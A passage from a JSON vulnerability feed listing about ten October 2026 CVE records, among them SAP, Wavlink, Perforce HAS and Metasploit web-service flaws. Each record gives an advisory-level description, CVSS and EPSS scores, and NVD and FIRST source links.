exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-63350","cveId":"CVE-2026-63350","aliases":[],"kind":"vulnerability","title":"Affected devices do not properly restrict executable content contained in imported trace files.","summary":"Affected devices do not properly restrict executable content contained in imported trace files.\r\n\r\nThis could allow an attacker to social engineer an authorized user who holds the function right “Read diagnostics” into importing a specially crafted trace file. Successful exploitation could allow attacker-controlled JavaScript to execute in the user’s browser session and perform PLC operations through the web server within the scope of the user’s authorization.","detail":"Affected devices do not properly restrict executable content contained in imported trace files.\r\n\r\nThis could allow an attacker to social engineer an authorized user who holds the function right “Read diagnostics” into importing a specially crafted trace file. Successful exploitation could allow attacker-controlled JavaScript to execute in the user’s browser session and perform PLC operations through the web server within the scope of the user’s authorization.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T10:17:16.777Z","updatedAt":"2026-10-15T20:38:04.303Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.4,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-63350","asOf":"2026-10-15T20:38:04.303Z"},"epss":{"probability":0.00335,"percentile":0.26588,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-63350&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-63350","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-63350","type":"primary","publishedAt":"2026-10-13T10:17:16.777Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-63350&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-63350, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-89309","cveId":"CVE-2026-89309","aliases":[],"kind":"vulnerability","title":"The authorization middleware of the WMS MobileServer\nfails to require authentication in two distinct cases. First, it\nonly requires an Authorization header for GET and HEAD...","summary":"The authorization middleware of the WMS MobileServer\nfails to require authentication in two distinct cases. First, it\nonly requires an Authorization header for GET and HEAD requests; requests\nusing any other HTTP method are processed without an authentication check.\nSecond, for any HTTP method including GET and HEAD, a request carrying a\nmalformed or non-bearer Authorization header is passed through without\na valid token being required.\n\n\n\n\n\nThe middleware does validate a token whenever a\nwell-formed one is present, but in these two cases it does not\nrequire one. A remote attacker with network access to the service can\ntherefore invoke API functionality without valid credentials.","detail":"The authorization middleware of the WMS MobileServer\nfails to require authentication in two distinct cases. First, it\nonly requires an Authorization header for GET and HEAD requests; requests\nusing any other HTTP method are processed without an authentication check.\nSecond, for any HTTP method including GET and HEAD, a request carrying a\nmalformed or non-bearer Authorization header is passed through without\na valid token being required.\n\n\n\n\n\nThe middleware does validate a token whenever a\nwell-formed one is present, but in these two cases it does not\nrequire one. A remote attacker with network access to the service can\ntherefore invoke API functionality without valid credentials.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T09:17:22.140Z","updatedAt":"2026-10-16T20:04:29.760Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":10,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-89309","asOf":"2026-10-16T20:04:29.760Z"},"epss":{"probability":0.00389,"percentile":0.32698,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-89309&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-89309","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-89309","type":"primary","publishedAt":"2026-10-13T09:17:22.140Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-89309&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-89309, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109110","cveId":"CVE-2026-109110","aliases":[],"kind":"vulnerability","title":"A flaw has been found in Wavlink WL-WN592AX6 250422. This issue affects the function system of the component wmapd Daemon.","summary":"A flaw has been found in Wavlink WL-WN592AX6 250422. This issue affects the function system of the component wmapd Daemon. Executing a manipulation can lead to os command injection. It is possible to launch the attack remotely. The exploit has been published and may be used. The vendor was contacted early about this disclosure.","detail":"A flaw has been found in Wavlink WL-WN592AX6 250422. This issue affects the function system of the component wmapd Daemon. Executing a manipulation can lead to os command injection. It is possible to launch the attack remotely. The exploit has been published and may be used. The vendor was contacted early about this disclosure.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T09:17:15.370Z","updatedAt":"2026-10-15T16:17:43.243Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109110","asOf":"2026-10-15T16:17:43.243Z"},"epss":{"probability":0.02028,"percentile":0.80884,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109110&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109110","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109110","type":"primary","publishedAt":"2026-10-13T09:17:15.370Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109110&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109110, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109109","cveId":"CVE-2026-109109","aliases":[],"kind":"vulnerability","title":"A vulnerability was detected in Wavlink WL-WN530BE1-A 251117. This vulnerability affects the function strcpy of the file /cgi-bin/ExportAllSettings.cgi of the component Settings...","summary":"A vulnerability was detected in Wavlink WL-WN530BE1-A 251117. This vulnerability affects the function strcpy of the file /cgi-bin/ExportAllSettings.cgi of the component Settings Export CGI. Performing a manipulation of the argument HTTP_COOKIE/X-Cmd results in stack-based buffer overflow. It is possible to initiate the attack remotely. The exploit is now public and may be used. The vendor was contacted early about this disclosure.","detail":"A vulnerability was detected in Wavlink WL-WN530BE1-A 251117. This vulnerability affects the function strcpy of the file /cgi-bin/ExportAllSettings.cgi of the component Settings Export CGI. Performing a manipulation of the argument HTTP_COOKIE/X-Cmd results in stack-based buffer overflow. It is possible to initiate the attack remotely. The exploit is now public and may be used. The vendor was contacted early about this disclosure.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T08:17:00.110Z","updatedAt":"2026-10-14T14:17:36.663Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109109","asOf":"2026-10-14T14:17:36.663Z"},"epss":{"probability":0.00584,"percentile":0.47613,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109109&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109109","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109109","type":"primary","publishedAt":"2026-10-13T08:17:00.110Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109109&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109109, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109758","cveId":"CVE-2026-109758","aliases":[],"kind":"vulnerability","title":"Perforce Helix Authentication Service (HAS) deployments that retain the shipped default SCIM bearer token are vulnerable to unauthorized access when the SCIM endpoint is reachable...","summary":"Perforce Helix Authentication Service (HAS) deployments that retain the shipped default SCIM bearer token are vulnerable to unauthorized access when the SCIM endpoint is reachable by an attacker. In affected versions of HAS, the installation templates contain a default credential which the installer copies into the active configuration; the installer and configuration script do not automatically replace that value with a random token. An attacker who knows the default token can authenticate to the SCIM API and perform user and group operations allowed by the configured provisioning backend.\n\nThis issue can be chained with CVE-2026-61834 in affected releases of the scim-patch dependency.\n\nThis vulnerability exists in version 2022.1 - 2025.2 of HAS however the underlying defect was removed in version 2026.1 which was released July 17th 2026. The vulnerability was identified in older versions of HAS after version 2026.1 was released.","detail":"Perforce Helix Authentication Service (HAS) deployments that retain the shipped default SCIM bearer token are vulnerable to unauthorized access when the SCIM endpoint is reachable by an attacker. In affected versions of HAS, the installation templates contain a default credential which the installer copies into the active configuration; the installer and configuration script do not automatically replace that value with a random token. An attacker who knows the default token can authenticate to the SCIM API and perform user and group operations allowed by the configured provisioning backend.\n\nThis issue can be chained with CVE-2026-61834 in affected releases of the scim-patch dependency.\n\nThis vulnerability exists in version 2022.1 - 2025.2 of HAS however the underlying defect was removed in version 2026.1 which was released July 17th 2026. The vulnerability was identified in older versions of HAS after version 2026.1 was released.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T04:17:14.843Z","updatedAt":"2026-10-16T19:55:59.740Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109758","asOf":"2026-10-16T19:55:59.740Z"},"epss":{"probability":0.00354,"percentile":0.28884,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109758&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109758","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109758","type":"primary","publishedAt":"2026-10-13T04:17:14.843Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109758&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109758, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-89111","cveId":"CVE-2026-89111","aliases":[],"kind":"vulnerability","title":"The SAP Cloud SDK for Python contains an OAuth2 SSRF vulnerability affecting multi-tenant BTP applications.","summary":"The SAP Cloud SDK for Python contains an OAuth2 SSRF vulnerability affecting multi-tenant BTP applications. An attacker who controls the tenant_subdomain parameter can redirect OAuth2 token requests to an attacker-controlled server, causing client credentials to be exfiltrated.","detail":"The SAP Cloud SDK for Python contains an OAuth2 SSRF vulnerability affecting multi-tenant BTP applications. An attacker who controls the tenant_subdomain parameter can redirect OAuth2 token requests to an attacker-controlled server, causing client credentials to be exfiltrated.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T01:16:47.890Z","updatedAt":"2026-10-15T20:38:04.303Z","regions":["Global"],"vendor":null,"product":null,"stacks":["SAP","Python"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":10,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-89111","asOf":"2026-10-15T20:38:04.303Z"},"epss":{"probability":0.00372,"percentile":0.30914,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-89111&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-89111","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-89111","type":"primary","publishedAt":"2026-10-13T01:16:47.890Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-89111&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-89111, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-89110","cveId":"CVE-2026-89110","aliases":[],"kind":"vulnerability","title":"SAP NetWeaver Visual Composer does not perform sufficient authorization checks in certain portal functionality.","summary":"SAP NetWeaver Visual Composer does not perform sufficient authorization checks in certain portal functionality. An attacker with low privileges could invoke internal operations on a preconfigured remote system. Depending on the remote connection configuration, this could lead to a full compromise of the remote system. This results in a high impact on confidentiality, integrity and availability.","detail":"SAP NetWeaver Visual Composer does not perform sufficient authorization checks in certain portal functionality. An attacker with low privileges could invoke internal operations on a preconfigured remote system. Depending on the remote connection configuration, this could lead to a full compromise of the remote system. This results in a high impact on confidentiality, integrity and availability.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T01:16:47.767Z","updatedAt":"2026-10-15T20:38:04.303Z","regions":["Global"],"vendor":null,"product":null,"stacks":["SAP"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-89110","asOf":"2026-10-15T20:38:04.303Z"},"epss":{"probability":0.00401,"percentile":0.34039,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-89110&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-89110","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-89110","type":"primary","publishedAt":"2026-10-13T01:16:47.767Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-89110&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-89110, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-89108","cveId":"CVE-2026-89108","aliases":[],"kind":"vulnerability","title":"SAP Manufacturing Integration and Intelligence does not sufficiently enforce authorization boundaries within certain administrative functionality.","summary":"SAP Manufacturing Integration and Intelligence does not sufficiently enforce authorization boundaries within certain administrative functionality. An attacker with MII administrator privileges could submit a specially crafted request to provision an account with elevated privileges on the underlying Java application server. Successful exploitation could allow the attacker to gain administrative control over the underlying system, extending the impact beyond the vulnerable application. This results in a high impact on confidentiality, integrity and availability.","detail":"SAP Manufacturing Integration and Intelligence does not sufficiently enforce authorization boundaries within certain administrative functionality. An attacker with MII administrator privileges could submit a specially crafted request to provision an account with elevated privileges on the underlying Java application server. Successful exploitation could allow the attacker to gain administrative control over the underlying system, extending the impact beyond the vulnerable application. This results in a high impact on confidentiality, integrity and availability.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T01:16:47.637Z","updatedAt":"2026-10-15T20:38:04.303Z","regions":["Global"],"vendor":null,"product":null,"stacks":["SAP"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-89108","asOf":"2026-10-15T20:38:04.303Z"},"epss":{"probability":0.00386,"percentile":0.32405,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-89108&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-89108","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-89108","type":"primary","publishedAt":"2026-10-13T01:16:47.637Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-89108&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-89108, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-89107","cveId":"CVE-2026-89107","aliases":[],"kind":"vulnerability","title":"SAP S/4HANA (Manage Substitution/Validation Rules) does not sufficiently validate input processed by rule definition functionality that utilizes a domain-specific scripting...","summary":"SAP S/4HANA (Manage Substitution/Validation Rules) does not sufficiently validate input processed by rule definition functionality that utilizes a domain-specific scripting language. An authenticated attacker with specific business privileges could submit specially crafted input, which is interpreted as executable ABAP code by the rule processing logic. Successful exploitation could allow the attacker to execute ABAP arbitrary code into the system, resulting in full compromise of the affected system and high impact on confidentiality, integrity, and availability of the system.","detail":"SAP S/4HANA (Manage Substitution/Validation Rules) does not sufficiently validate input processed by rule definition functionality that utilizes a domain-specific scripting language. An authenticated attacker with specific business privileges could submit specially crafted input, which is interpreted as executable ABAP code by the rule processing logic. Successful exploitation could allow the attacker to execute ABAP arbitrary code into the system, resulting in full compromise of the affected system and high impact on confidentiality, integrity, and availability of the system.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T01:16:47.507Z","updatedAt":"2026-10-15T20:38:04.303Z","regions":["Global"],"vendor":null,"product":null,"stacks":["SAP"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-89107","asOf":"2026-10-15T20:38:04.303Z"},"epss":{"probability":0.00481,"percentile":0.41169,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-89107&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-89107","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-89107","type":"primary","publishedAt":"2026-10-13T01:16:47.507Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-89107&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-89107, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-87689","cveId":"CVE-2026-87689","aliases":[],"kind":"vulnerability","title":"The Metasploit Framework Web Service REST API (msf-ws) exposes the credential store through Msf::WebServices::CredentialServlet.","summary":"The Metasploit Framework Web Service REST API (msf-ws) exposes the credential store through Msf::WebServices::CredentialServlet. Every mutating and read route in this servlet calls warden.authenticate! before processing a request, except the update_credential (PUT) and delete_credentials (DELETE) handlers for /api/v1/credentials, which omit the authentication call entirely. Because these handlers call directly into lib/msf/core/db_manager/cred.rb, which performs no authorization check of its own, any client able to reach the web service on its default 0.0.0.0:8080 listener can read, modify, or permanently delete every stored credential record — including passwords, hashes, and private keys stored for a shared team engagement — without presenting any authentication. All published versions of Metasploit Framework through 6.5.4 are affected. The issue is fixed in 6.5.5 by adding warden.authenticate! as the first statement in both handlers, matching the pattern used by every other route in the API.","detail":"The Metasploit Framework Web Service REST API (msf-ws) exposes the credential store through Msf::WebServices::CredentialServlet. Every mutating and read route in this servlet calls warden.authenticate! before processing a request, except the update_credential (PUT) and delete_credentials (DELETE) handlers for /api/v1/credentials, which omit the authentication call entirely. Because these handlers call directly into lib/msf/core/db_manager/cred.rb, which performs no authorization check of its own, any client able to reach the web service on its default 0.0.0.0:8080 listener can read, modify, or permanently delete every stored credential record — including passwords, hashes, and private keys stored for a shared team engagement — without presenting any authentication. All published versions of Metasploit Framework through 6.5.4 are affected. The issue is fixed in 6.5.5 by adding warden.authenticate! as the first statement in both handlers, matching the pattern used by every other route in the API.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T01:16:47.110Z","updatedAt":"2026-10-16T19:55:59.740Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-87689","asOf":"2026-10-16T19:55:59.740Z"},"epss":{"probability":0.00367,"percentile":0.30296,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-87689&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-87689","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-87689","type":"primary","publishedAt":"2026-10-13T01:16:47.110Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS 